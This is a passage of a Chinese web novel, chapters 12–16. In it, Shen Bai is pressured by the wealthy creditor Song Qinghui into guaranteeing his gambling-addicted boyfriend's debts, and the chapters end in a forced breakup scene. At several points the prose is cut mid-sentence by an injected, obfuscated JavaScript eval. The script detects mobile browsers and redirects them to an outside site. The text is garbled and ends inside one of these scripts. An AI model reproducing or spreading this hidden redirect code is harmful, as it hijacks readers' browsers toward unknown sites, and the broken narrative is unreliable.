今天接到周牧云电话的时候,沈白原本也没打算接的,不过周牧云似乎很懂得拿捏沈白,认准了他心软,在第一通电话没打通之后,紧接着便给他发了张自己坐在顶层天台,双脚垂在墙外的照片。 暗示意味非常明显。 这招虽然缺德,但确实挺管用的,沈白犹豫了两秒,还是接通了电话。 “哥,我就知道你不会不管我的。”这是电话接通后,周牧云对沈白说的第一句话。 沈白没有说话,听筒里除了两人的呼吸声以外,只剩下一片死寂。 也不知道过了多久,周牧云开口,语气里带着几分恳求,他低声道:“哥,你能回家来一趟吗,我想见你。” 沈白叹了口气,道:“小云,我以为我那天晚上已经跟你说得很清楚了。” “但是你当初说过的,你说既然答应了和我在一起,就会好好照顾我的!”听他提起那天晚上的事情,周牧云的情绪立刻激动起来,不自觉提高音量道。 “是,我答应过你。”沈白闭了闭眼,缓了一会儿才再度开口道,“我们在一起这些年,我自认为没有亏待过你。” “你说想要个属于我们的家,我就拼命工作努力攒钱,眼看我们就要买房子了,但是结果呢?” 沈白说这些话的时候情绪平稳,语调也几乎没什么太大起伏。 事已至此追究对错已经没有任何意义,生气也无法解决任何问题。 从周牧云跟他坦白欠债那天晚上开始,到后面被追债人上门讨债,沈白几乎一句重话都没有对周牧云讲过,甚至连责问都没有,只是沉默地接受了这个结果。 可情绪稳定就代表沈白一点都不失望吗?怎么可能。 奋斗多年积攒的积蓄一夜间归零不说,还被男朋友告知在外面欠下了大几百万的债务,甚至于就连具体的债务金额,沈白都是从追债人口中得知的。 要是真的不失望,沈白也不会跟周牧云提分手了。 听电话那端的周牧云不说话,沈白轻声问:“小云,是我没有照顾好你吗?” 很简单的问题,周牧云却怎么也无法理直气壮地答出那个“是”字。 “当年阿宁的事情,欠你的恩情我认,也因为那件事情,你的债务我愿意帮你承担一半。”说到这里,沈白顿了顿,缓和了一下情绪,才又继续道,“但我能力有限,也只能帮你到这一步了。” “好聚好散吧。” 这番话说完,周牧云久久没有说话。 就在沈白准备挂电话的时候,周牧云开口了。 “就算要分手,哥你也当面来跟我说吧,好吗?”他的声音里没了之前的歇斯底里,语气中甚至带上了几分哀求的味道。 沈白捏了捏眉心,扭头看了眼已经在门口等了挺长时间的康小言,开口道:“我待会儿还有事,明天行吗。” 周牧云的情绪却在听到这番话的瞬间,再度变得激动起来。 “我们交往了这么多年,就算要分手,我也只是想让你当面跟我说,什么时候我想见你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691312|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面,变得难如登天了?” “你是不是在外面有人了,男人还是女人,你现在在哪里,拳馆还是在汽修厂?你不回来的话,我现在直接去找你总可以吧?” 听着电话里周牧云因情绪激动而变得剧烈的喘-息,沈白脑子里有片刻的恍惚,他记得周牧云以前不是这样的。 是从什么时候开始,周牧云变成了今天这副模样? 沈白认识周牧云的时候,那会儿周牧云因为受不了父亲赌博和家暴而选择了离家出走,同龄人还在念书的年纪,周牧云已经早早步入社会开始自己赚钱养活自己。 即便小小年纪经历了很多不足为外人道也的苦楚,周牧云依旧性格乐观,走哪儿都能轻易和别人打成一团,非常讨人喜欢。 再刁蛮不讲理的客人,在面对周牧云的时候,也很难对这么一个任何时候脸上都挂着灿烂笑容的少年继续发火。 改变究竟是从什么时候发生的呢,沈白闭上眼睛想了想,却发现自己一时半会儿竟想不出来。 “哥,你还在听吗,你在哪儿,我现在去找你,好不好?”沈白沉默的时候,周牧云的耐心明显已经告罄,他语气急促地问。 沈白回过神,道:“不用了,我现在回去。” * 决定分手的那个晚上,沈白离开两人租住的房子时,把房门钥匙放在了鞋柜上。 他们租住的这套房子在一个老式小区里面,房东是个很和善的老太太,每每遇上节日,都会给租客送上一些自己制作的小礼物。 有时候是自己包的包子、饺子,有时候是儿女买来的月饼、芝麻糖之类的。 沈白拒绝过几次,但老太太坚持要送,拗不过她的热情,沈白便也只能收下了,并且在每次收下后,都会准备些回礼。 一来二去的,沈白和房东老太太之间的关系也越来越好。 和周牧云分手的前一周,恰好赶上端午节,老太太给他们送来了自己晾晒的艾叶,沈白觉得寓意挺好,便将其插在了门口。 周牧云看到后抱怨过几次觉得丑,沈白宽慰他,说过完节就取下来,让他暂时先忍一忍。 没曾想,这么短的时间里居然发生了这么多事情。 沈白看着门口插着的,已经干枯的艾叶,发了会儿呆,伸手缓缓将其摘了下来。 就在他刚准备敲门的时候,似乎感觉到了门外动静,原本紧闭着的防盗门居然被从里面打开了。 但让沈白意外的是,站在门口的那个人,却并不是周牧云。 “你是,宋唯的……小舅舅?” 13. 第 13 章 第13章 如果不是在这里住得时间太久,沈白简直要怀疑自己怕不是认错门了。 看到宋小舅的那一刻,沈白下意识往后退了两步,看了眼门口插着的已经干枯的艾叶,以及墙上自己亲自贴上的春联,还有无论如何都不可能记错的门牌号,沈白确定,自己没走错。 这的确是他和周牧云共同生活过四年多的房子。 那么……谁能告诉他,为什么他学生的家长会毫无征兆的出现在他家里? 与满头问号的沈白相比,宋小舅明显淡定多了,像是早就知道他会来一样,宋清辉将开了一半的门彻底打开,特别淡定地问傻站在门口的沈白:“要进来说吗?” 沈白:“啊,那就……打扰了?” 屋内的摆设和装修与沈白离开时别无二致,甚至于就连沈白离开前,放在鞋柜上的那串钥匙位置都没有丝毫变动。 非要说有什么不太一样,大概就只有原本收拾得干净整洁的茶几上散落了不少吃完或吃剩了一半的外卖盒,地上多了些烟头和被捏扁的啤酒易拉罐。 除此之外,便再没什么不同了。 沈白看着端坐在自家沙发上样貌清俊,气质斐然的年轻男人,莫名感觉他与周围的环境有种格格不入的突兀感。 似是感觉到沈白在看自己,宋清辉大大方方道:“沈先生,坐。” 沈白:“……” 怎么感觉怪怪的,也说不上到底哪里奇怪,但从进门的那一刻起,沈白就觉得眼前发生的一切都挺不真实的。 不过沈白还是如宋清辉所愿,在他对面的沙发上坐下了。 犹豫几秒,沈白试探着开口道:“宋先生今天过来,是为了宋唯的事情吗?” 宋清辉抬眼,盯着他那张脸看了许久,随后摇了摇头,露出了一个笑容。 他大概是不经常笑,所以这个本来想用来展示友善的笑容看上去莫名……有种皮笑肉不笑的诡异感。 不过幸好他那张脸足够漂亮,哪怕是做出这么诡异的表情,给人的感觉依旧是好看的。 可惜沈白不是颜控,甚至有点轻微脸盲,所以他明显没有get到宋先生的美貌,不过出于礼貌,沈白也回以了一个笑容。 但宋清辉接下来的话,很快就让沈白笑不出来了。 宋清辉开口道:“沈先生,周牧云是您的前男友吗?” 听他报出周牧云的名字,沈白心里就是‘咯噔’一下,随即立刻明白过来,叹了口气,道:“既然不是为了孩子而来,还认识小云,想必宋先生今天过来是为了追债吧。” 即便来之前已经有了心理准备,可真听沈白亲昵的称呼周牧云为“小云”的时候,宋清辉还是觉得有些刺耳。 宋清辉从身侧的公文包里拿出了一个文件夹,将其推到沈白面前。 “沈先生,您前男友的事情,想必您都已经知道了。” 文件夹里的文件并不厚,只有薄薄的几页纸,但沈白看得很认真也很仔细,足足用了十分钟才放下那份文件夹。 沈白伸手捏了捏眉心,良久后,开口道:“这份文件,并没有经过我本人的同意,所以,不具备法律效益吧。” 宋清辉一直在观察着沈白,将他的动作、表情全部尽收眼底,没有错过他脸上哪怕些许的变化。 听他这么说,宋清辉并未如沈白预期中那样试图向他证明这份合同具有法律效力,反倒是非常爽快地点头承认了。 “是的,这份合同并不具备任何法律效力,沈先生如果不同意的话,我当然也不会做出任何勉强您的举动,您随时都可以离开,我绝不为难。” 沈白听到宋清辉的这番话,非但没觉得松了口气,表情反倒是变得更加凝重起来。 他有预感,对方之所以这么干脆承认合同有问题,必然是留有后手的,而且很可能是手握自己根本无法拒绝的筹码。 这位宋先生给他的感觉……很不好。甚至于就连那天晚上被光头带着小弟追债追到家里,沈白都没觉得心里这么没底。 沈白沉默片刻,苦笑道:“您今天之所以在这里等我,肯定是做好了万全的准备,那我们也没必要绕弯子了,宋先生,有什么话,直说吧。” 宋清辉看出了沈白的无奈,更看出他眼底的疲惫。 有那么一瞬间,宋清辉想,要不还是算了。 周牧云欠下的那几百万的债务,对于周牧云和沈白来说已经是灭顶之灾,但对于宋清辉而言,那甚至都不能算是钱。 所以何必呢,为了那点钱,让他这么困扰。 可话都已经到了嘴边,宋清辉想,这是这么多年以来,自己距离沈白最近的一次了,近到仿佛他只要伸出手,就能抓住他。 他是个卑劣且道德低下,将自私冷漠写进骨子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691313|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。曾不止一次有人这样评价他,有些是他的商业竞争对手,有些则是跟他有着血缘关系的所谓亲人。 他们讨好他,痛恨他,咒骂他,却又……惧怕他。 宋清辉从不否认,只要能够达成目的,用尽手段又如何。 命运不曾厚待他,没关系,那他便自己去争,去抢,去夺。 真的要放手吗?错过这次机会,他还有别的借口能够将这个心心念念了很多年的人占为己有吗。 宋清辉闭了闭眼,试想了一下放弃这次机会的结果,再次睁开眼睛时,眼底汹涌的情绪已经消失不见,只留下一片冷然。 就当他下作。 他无法说服自己放手。 如果握住会痛,那么对宋清辉而言,放手只会更痛,所以哪怕握到血肉模糊,他也不愿放手。 起码在真正不得不放手的那天到来时,手上因曾经紧握过而留下的伤疤,未尝不是他曾拥有过,紧握过的一种证明。 “周牧云没有稳定的工作,没有房产,没有车子,也没有任何偿还债务的能力。”宋清辉开口道。 “我尝试联系过他的家人,但他们态度非常冷漠,不愿意帮他还钱。” 这个结果沈白并不觉得意外,两人在一起这么多年,周牧云家里是什么情况没人比他更清楚了。 周牧云有个赌博酗酒又家暴的爸,他母亲在他五岁的时候因为受不了家暴,被打跑了,亲戚也因为他那个赌鬼爹而对他们家退避三舍,纷纷跟他们断了联系。 离家出走之后,周牧云便再没有回去过。刚离家出走的时候,周牧云也曾萌生过寻找母亲的念头,后来花了不少钱费了不少力气,找是找到了,但生母已经另外有了家庭,还有了其他孩子。 生母给了周牧云五千块钱,跪在地上求他不要打破自己现在平静幸福的生活。 周牧云收下了钱,从那之后便连唯一的那点念想也没了。 这么高额的债务,这样的原生家庭,怎么可能会有人愿意帮周牧云还钱,除了沈白,再不会有第二个傻子愿意帮他扛。 “沈先生,我好像还没有来得及自我介绍。” “我叫宋清辉,是周牧云目前唯一的债权人。” 宋清辉说着,将另外一份文件推到了沈白面前,微笑,“我今天过来,是想跟您重新签订一份……” “担保协议。” 14. 第 14 章 第14章 相较于之前那份处处都是漏洞的合同,宋清辉后来拿出来的这份担保协议明显严谨多了。 沈白只是随手翻了翻,本就不断下沉的心便彻底沉入了谷底。 “我不可能会签这样的协议。”沈白道。 这协议上条款写得清晰明确,意思是让沈白给周牧云当债务担保人,如果周牧云能够在规定时间内还完欠款,这份协议便不会影响沈白。 可一旦周牧云无法还上这些债务,沈白作为担保人,便需要代为偿还周牧云欠下的那些高额债务。 其实无论是宋清辉还是沈白心里都清楚,周牧云根本不具备还款能力,所以一旦沈白签了这样的担保协议,就意味着他将被动承担周牧云的债务。 被拒绝了的宋清辉神色并无任何不愉,再开口时,语气相较之前甚至轻快了几分。 “沈先生当然有拒绝的权利,只是……”宋清辉说着,冲沈白满怀歉意道,“我是个商人,而且是个从来不做赔本买卖的商人。” “当初之所以回收周牧云的债权,完全是看在沈先生的面子上,既然沈先生无意插手这件事,那么这份债权我也没有继续握在手里的必要了。” 沈白愣了下,听明白他的意思后,皱着眉开口道:“如果我不签这份担保协议,宋先生就要将小云的债权转给其他人?” 宋清辉很是干脆地点头承认了,“是这样的,我向来不太喜欢暴-力催收,所以周先生的债权在我手上的时候,我可以保证他的人身安全。” 他话只说了一半,剩下的没说,但沈白多多少少已经能明白他的意思了。 催债本来就不是件容易的事情,周牧云的债权在宋清辉手里的时候,宋清辉可以看在沈白的面子上不使用极端手段逼债,可一旦债权被转让,谁知道下一个愿意接手周牧云债权的催债公司会用什么手段逼债呢。 沈白高中没念完就辍学出来赚钱了,他进入社会的时间很早,自然不可能是那种不谙世事的傻白甜,哪里会听不出宋清辉的暗示呢。 说实话,沈白完全可以不管这件事情,因为周牧云的那些债务跟他并没有任何关系,而且他本人其实也是受害者。 不但多年积蓄全部付之一炬,还被周牧云以自己的名义向朋友借了几十万的债务。 谈个恋爱被男朋友害成这样,本身就已经够惨了,但凡换个稍微绝情点的人,别说帮他还债,在得知他做了这样的事情之后,怕是连杀了他的心都有了,只恨他不能早点去死。 但沈白做不到,他不能真看着周牧云去死。 不是他圣父,也不是沈白对周牧云有多深的感情,而是因为周牧云对沈白有恩。 那样的恩情可能周牧云自己都没有放在心上,但沈白就是这样的人,会把别人对他的一点好意都牢牢记在心里,日后百倍甚至千倍奉还。 可以说如果不是因为这份恩情,沈白当时大概率也不会松口答应跟周牧云交往。 明面上两人在一起的契机是周牧云失恋后拉他一起喝酒,结果酒后乱性。 可沈白又不是傻子,他就算醉得再狠,也不可能连自己有没有跟人发生关系都搞不清楚。 其实现在回过头再去看当年的事情,沈白也曾不止一次怀疑过自己,答应跟周牧云交往究竟是对是错,如果当初没有答应,现在是否一切会变的不同。 周牧云会变成今天这样,有胆子敢借这么多钱去投资,是否也和他一次又一次的妥协与纵容也脱不开干系。 见沈白变得沉默,宋清辉忽然觉得有些烦躁。 他想得到什么样的答案呢?理性告诉他,沈白答应签下这份担保协议,对他而言才是最有利的。 可只要想到沈白真的愿意为周牧云那样一个人渣,背上远超出他能承受范围的高额债务,宋清辉的脑子里就不受控制般的滋生出了很多阴暗负面的情绪。 拒绝吧。 拒绝他吧。 你完全没必要为了这样的人,把自己推进一个深不见底的深渊里。 这样他就可以把周牧云的债务以一个极为低廉的价格抛售出去,他甚至根本不必亲自动手,自然有人能将周牧云扒皮抽筋,敲骨吸髓,直到榨干他身上最后一分利用价值。 接着,周牧云就会悄无声息的消失在沈白的生活里,再不会有重新出现的可能。 他与沈白之间,也再不可能有任何死灰复燃的机会。 不过这样,他和沈白之间好不容易建立的联系,可能也会随之消失吧。 自己那些阴暗的,扭曲的,见不得光的心思,这辈子大概也不会被沈白知道了。 这样其实也不是不行。如果沈白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691314|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能幸福的话,那么即便他无法靠近,永远只能揣着自己那些肮脏的心思躲在阴暗角落里默默看着,似乎也变得不那么难以接受了。 宋清辉难得失神,他发现对于这个结果,自己竟生不出丝毫抵触情绪,甚至是有些乐见其成的。 但很快,沈白的声音将沉浸在自己思绪中的宋清辉一秒拉回了现实。 沈白拉开抽屉,从里面翻出了半包烟,对宋清辉道:“宋先生介意吗?” 宋清辉下意识蹙眉,因为他记得沈白没有烟瘾,对烟味也并不太喜欢,更是很少会当着其他人的面抽烟。 盯着他夹着烟的那只手看了几秒,宋清辉在沈白惊诧的目光里,忽然起身朝他走去,接着他弯下腰,偏过头,薄唇微抿,用嘴咬走了沈白夹在指间的那支烟。 他没有躲闪,直勾勾迎上了沈白的视线,与之对视,宋清辉叼着烟,声音很轻,有些模糊,却足够沈白听清楚。 他说,“沈先生,借个火。” 沈白愣了愣,迟疑了几秒,动作有些僵硬地举起手,转动了打火机的波轮。 伴随着细微的摩擦声,火苗腾空而起,为宋清辉那张清冷艳丽的侧脸增添了些许暖色。 后来即便过了很多年,沈白依旧能够清楚地记得,那天晚上宋清辉偏过头朝他借火时,那张美到让人觉得惊心动魄的侧脸。 随着丝丝缕缕白色的烟雾升腾,不算好闻的烟味在不大的屋子里蔓延。 宋清辉没再回原本的位置,他一只手夹着烟,另一只手撑在桌面上,小臂的肌肉线条流畅又饱满,因为用力而微微隆起的青色血管更是为他平添了几分性感。 他半倚在沈白在二手市场上花了一百五十块钱淘到茶几上,而就在他不远处的桌面上,甚至还散落着周牧云吃完了却没来得及清理的外卖盒。 宋清辉与这里的一切都格格不入,可他却毫无征兆的,真切的出现在了这里,与沈白面对面,探讨着一笔对他而言根本无关紧要的债务问题。 不知道为什么,回过神的沈白忽然间彻底失去了抽烟的欲望。 他将烟盒和打火机重新塞回了抽屉里,合上抽屉后,沈白拿过了那份不久前被他推开的合同。 沈白甚至没有再仔细查看协议上的那些条款,拧开笔盖,干脆利落地在末页的空白处,签下了自己的名字。 15. 第 15 章 第15章 将签好名字的协议递过去之前,沈白忽然开口问道。 “是上次那位姓刘的催债人让你来找我的吗?” 宋清辉隔着缭绕的烟雾看着沈白,两人的距离其实很近,但在丝丝缕缕白色烟雾中,他看不真切沈白脸上的表情。 可听到这个问题的时候,即便看不清楚沈白的表情,宋清辉却能猜到他在想什么,他甚至能猜到沈白想要听到什么样的答案。 但很遗憾,宋清辉并不打算如他所愿。 “周牧云的债权的确是从刘爽手里转过来的,但我并不是在刘爽的授意下才会找上沈先生。” 听他这么说,沈白忽然间想到了一种可能,一种他最不愿意看到的可能。 可下一秒,沈白心中那点为数不多的侥幸心里也随着宋清辉接下来的话,彻底被打了个粉碎。 宋清辉将最早拿给他看得那份被沈白指出完全没有法律效力的合同重新放在了他面前,用那双夹着抽了一半香烟的手,将合同翻到了最后一页,指了指空白处那龙飞凤舞的签名。 “是周牧云让我来找沈先生的,他说……”说到这里,宋清辉脸上露出一个有些嘲讽的笑容,细细打量着沈白的表情,停顿了几秒后才缓缓道,“就算所有人都弃他于不顾,沈先生也不会不管他的。” “他说这话的时候语气很是笃定,我原以为他只是在说大话呢。” 宋清辉垂下眼,看向沈白手里那份已经签好名字的担保协议,轻描淡写道,“如今看来,他说得竟然是真的,死到临头还能找到人给他垫背。” “沈先生,你人真好。”宋清辉假惺惺道。 心里想的却是,这男人真是简直傻得冒泡。 沈白又不是真傻,哪里听不出他话里的讽刺。可他和周牧云之间本来就不是单纯的情侣关系那么简单,即便解释了对方也未必能理解,既然如此,何必再多费口舌。 见他不语,宋清辉的心里又开始止不住的有些烦躁。 他将那支快要燃尽的烟碾灭在烟灰缸里,抬起头直勾勾看着沈白,道:“沈先生,签字签得这么爽快,协议上的条款你都看清楚了吗?” 沈白倒也没真心大到连合同都不看就签字的程度。协议挺严谨的,上面详细罗列出了周牧云的债务总额、还款利率和还款时限。 一年时间,倘若在这一年当中,周牧云无法偿还这笔债务的话,作为担保人,沈白则需要承担周牧云的全部债务及利息。 其实别说一年,就算给周牧云十年,二十年,沈白也不觉得他能还上这笔钱。 无论是周牧云还是宋清辉,亦或者是沈白本人都清楚,这份明面上合法合规的担保协议,一旦沈白签了字,便和卖身契没什么区别了。 沈白觉得有些好笑,该说不说,认识这么多年,他也是最近才发现,原来周牧云居然这么聪明,不但把他给卖了不说,还卖了个好价钱。 “宋先生,这债务我可以还,但我需要时间。”沈白合上笔盖,将签好字的合同递到了宋清辉面前,开口道。 他才刚开口,便见宋清辉忽然起身,从他刚才放在沙发上的那个公文包里摸了张卡,扔在了茶几上。 沈白定睛一看,只见桌上的那张卡片分外眼熟,可不就是前些天光头来家里讨债时,沈白亲自抵押给他的那张自己的工资卡。 “沈先生,钱对我来说没有任何意义。”宋清辉直勾勾盯着他,在沈白错愕的目光里,终于向他展露了自己的獠牙。 “我对沈先生的兴趣,比这些钱大多了。” 沈白又不是傻子,话都已经说到这个地步,而宋清辉的眼神又是如此露骨,他要再揣着明白装糊涂,可就真的有些说不过去了。 沈白觉得有些头疼,沉默了许久后,才斟酌着开口道:“宋先生,如果您有什么用得着我的地方,您尽管开口,但是……” 宋清辉不语,只静静看着他。 对上他那双幽深的眼睛,沈白终究是没再继续说下去,因为几乎在对视的瞬间,沈白就知道,无论他说什么,找出再多的理由和借口,宋清辉都不会改变主意。 人在极度无语的时候,真的会莫名其妙想笑一下。 活了这么多年,前前后后两辈子,沈白今天还是第一次意识到,自己这种平平无奇的路人,有朝一日居然也成了能被人强制爱的香饽饽。 真是操蛋。 长久的沉默让客厅里陷入了死一般的寂静。 也不知道过了多久,沈白似是终于想通了,开口打破了诡异的沉默, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691315|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宋先生,您的意思我明白了,但我这边还有些事情要处理,所以能不能稍微等……” “什么事?”宋清辉打断道,“跟你那个人渣前男友有关吗?” 沈白看着他那双黑白分明的眼,不知道是不是他的错觉,他竟然从宋清辉眼中看到了一种近乎于天真的执拗。 被他这么盯着,沈白觉得……头更疼了。 他深吸了一口气,调整了下情绪,尽可能耐心地跟他解释:“准确来说,还不能算是前男友,因为我们目前还没有分手。” 宋清辉闻言,呼吸一窒,本就冷峻的脸色似乎也随之变得更冷了,他眯了眯眼,问道:“那你们什么时候分手?” 他问得很是直白,不知道为什么,沈白看着他表情严肃,一副打破沙锅问到底的架势,竟觉得有些想笑。 不过想到自己欠对方的那一屁股债,沈白就又笑不出来了。 他揉了揉眉心,有些无奈道:“小云……” “周牧云。”宋清辉纠正,见沈白看向自己,略微卡顿了一下,很快给自己找了个冠冕堂皇的借口,“我只是觉得在你们之间存在债务纠纷的时候,还是直接称呼名字更合适。” 只是出于严谨考虑,并不是嫉妒。 沈白愣了下,反应过来后,觉得他说得好像也有道理,于是改口道:“上次追债人上门之后,我就已经跟他提了分手,但小、周牧云的情绪很激动,所以分手的事情便暂时搁置了。” “傍晚的时候周牧云打电话给我,希望我能回来一趟,就算要分手也得当面谈,所以我就请假回来了。但是,我回来的时候发现宋先生你已经在这里了,反倒是他不见人影,不知道跑去哪里了,分手的事情估计得改天……” “你们本来是打算谈分手?”宋清辉问,见沈白肯定后,点了点头,伸手拿过自己的手机,低头摆弄了几下。 片刻的功夫,原本安静的房间里忽然响起了一阵极有节奏的敲门声。 宋清辉在沈白错愕的表情里站起身,迈步朝着门口走去,打开房门,指了指站在门外,被打得鼻青脸肿,甚至快要看不出原本无关轮廓的周牧云,优雅道。 “择日不如撞日,人我帮你带来了,你们就当着我的面——” “分手吧。” 16. 第 16 章 第16章 沈白猝不及防看到周牧云以这样狼狈的形象出现在自己面前,毫无心理准备的他忍不住倒吸了一口凉气。 他扭头看向宋清辉,语气有些迟疑着问道:“宋先生,您刚才不是说,周牧云的债权在你手上,你不会使用暴-力的方式进行催收吗?” 宋清辉眨了眨眼睛,表情略微有些嫌弃,伸手想去抓周牧云的衣服,但手伸到一半,还是没能说服自己克服心理障碍直接接触这么个脏东西。 站在周牧云身后,拎着他后衣服领的高个子保镖模样的男人似乎很了解宋清辉的习惯,立刻松开宋清辉,从随身背着的小包里拿了双崭新的黑色皮质手套,恭恭敬敬地递到了老板面前。 周牧云本来就腿软,全靠着保镖拎着他才能勉强维持站姿,结果保镖这么一献殷勤,无人在意的周牧云骤然失去支撑,膝盖一软,栽倒在地上,倒下去的时候脑壳还碰到了半开的大门,发出“咚”的一声闷响。 虽然短短的几天时间里,周牧云已经彻底刷新了沈白对他的认知,但毕竟认识这么多年,沈白总不可能眼睁睁看着他死自己面前,所以下意识从沙发上起身,准备去扶他。 不过宋清辉就站在旁边,自己都不愿意碰的脏东西怎么可能会让沈白碰,戴上手套后先沈白一步将半死不活的周牧云从地上拎起来。 “你身上这些伤,是我打得吗?”宋清辉没回答沈白的问题,而是将问题抛给了周牧云本人。 周牧云脑子原本因为挨打有些昏昏沉沉的,听到宋清辉的声音,顿时一个激灵,下意识道:“不、不是。” 但当他抬起头,发现沈白就在不远处看着自己时,顿时眼底一热,只觉所有委屈都涌上心头,习惯性地就想往沈白那边去。 “哥!” 可宋清辉怎么可能让他如愿,他眉心微蹙,面无表情道:“周先生,我劝你还是尽快冷静下来,否则我很难保证你的人身安全。” 话落,不给周牧云再开口的机会,宋清辉扫了眼站在门口的保镖。 接到老板指令的保镖立刻拿出手机,迅速在里面找到一段视频,将手机递到了沈白面前。 趁着沈白低头看手机中那段视频的时候,保镖解释道,“沈先生误会了,周先生身上的这些伤口并不是我们造成的。” “今天上午我们找到周先生的时候,周先生就已经是这副模样了。当时周先生正在金水巷那边的一个地下钱庄,跟钱庄的人起了点冲突。” 保镖这么说其实已经挺委婉了,真正的情况是,这几天沈白不在家,周牧云就把家里值钱的东西,包括沈白给他买的电脑、手表、投影仪、冰箱洗衣机还有其他家电全部低价处理了。 这笔钱原本周牧云是打算用来偿还部分债务的,但钱真的到手之后,他又手痒了起来,觉得自己背了那么多债务,这点钱还不还好像也无所谓。 要是能拿这笔钱去赌几把,运气好赢了钱,兴许就能够翻身,他不奢望能靠这点本钱将之前欠的债全部清掉,只要能还上三分之一,不,只要能还上一部分,拿出个态度,也许沈白就不会跟他分手了。 但结果可想而知,周牧云兜里的那点钱只用了两个小时就被洗白了。 情绪崩溃的他不肯接受现实,在赌场里面大吵大闹,嚷嚷着赌场出老千。他也不想想,赌场养着的那些打手又不是吃干饭的,哪可能任他这么闹腾,在劝阻无果后,那就只能动手了。 周牧云其实已经挺幸运的了,现在虽然挨了打看上去半死不活的,但如果当时不是宋清辉的保镖及时赶到,那周牧云的模样只会比现在更加凄惨。 听到保镖的解释,又看完了周牧云挨打时的完整监控,沈白意识到自己误会宋清辉了,他的视线刚从手机屏幕上移开,就对上了宋清辉那双黑黝黝的眼睛。 虽然宋清辉什么都没说,但沈白却莫名觉得好像从他眼里看出了几分委屈。 沈白不是那种哪怕明知道自己错了还死犟着不愿意低头的人,所以在意识到自己误会了宋清辉之后,他很是坦然地向对方道歉。 “抱歉宋先生,是我误会了。” 宋清辉不语,只是在对上沈白的视线时,很是矜持地轻点了下头。 不知道为什么,沈白有点想笑。 但沈白眼底的笑意在视线移到周牧云身上时,很快便散去了,他神色有些复杂,对宋清辉道:“宋先生,能让我们单独聊聊吗?” 宋清辉其实不太乐意。 因为他觉得沈白实在是太好骗了,让他和周牧云独处,沈白要是又被这人渣用花言巧语骗得团团转怎么办。 不过宋清辉不想给沈白留下他很专制强势的印象,而且转念一想,即便沈白又被周牧云用言语蒙蔽也没关系,他有的是手段能让沈白认清周牧云是个人渣的现实。 这么想着,宋清辉微微颔首,转身将沈白刚签好的协议装进公文包,带着保镖离开了。 他人都已经走出大门,却又似想起了什么,回过头,状似不经意开口道:“对了,沈先生,周牧云是怎么跟你解释他那些欠款的,是说那些钱用来投资,但投资失败了吗?” 沈白愣了下,短暂迟疑后,还是点了下头。 地上的周牧云在听到宋清辉说出这句话时,胸膛剧烈起伏,一反之前半死不活的状态,强忍着疼甚至想从地上站起来,但尝试了几次还是失败了。 周牧云满脸哀求地看向宋清辉,试图阻止他撕下自己在沈白面前的那最后一抹遮羞布。 但很遗憾,宋清辉不是沈白。 他的哀求在宋清辉眼里,非但不会让他产生丝毫同情,反倒只会催生出更多恶意。 “我查了周牧云这一年多的流水,他的那些钱并没有用于投资,而是被分批汇入了地下赌场及境外网赌平台。” “沈先生,很遗憾,你的男朋友是个彻头彻尾的人渣。” 其实在宋清辉揭开这最后一层遮羞布之前,沈白心中就已经隐隐有了猜测,只不过还没有完全证实。 在一切被证实之前,沈白一直不太愿意用最坏的角度去想周牧云。可天不遂沈白所愿,一切还是朝着最坏的方向发展了。 沈白闭了闭眼,沉默了许久才开口,道:“我知道了,谢谢宋先生就提醒。” “那我在楼下等你。”宋清辉没再多说什么,带着保镖转身离开。 * 周牧云失魂落魄地躺在冰凉的水泥地面上。 不知道过了多久,他面前出现了一双结实有力的手,周牧云迟疑了几秒,迫切地抓住了眼前的手臂。 他被人从地上拉起来,下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 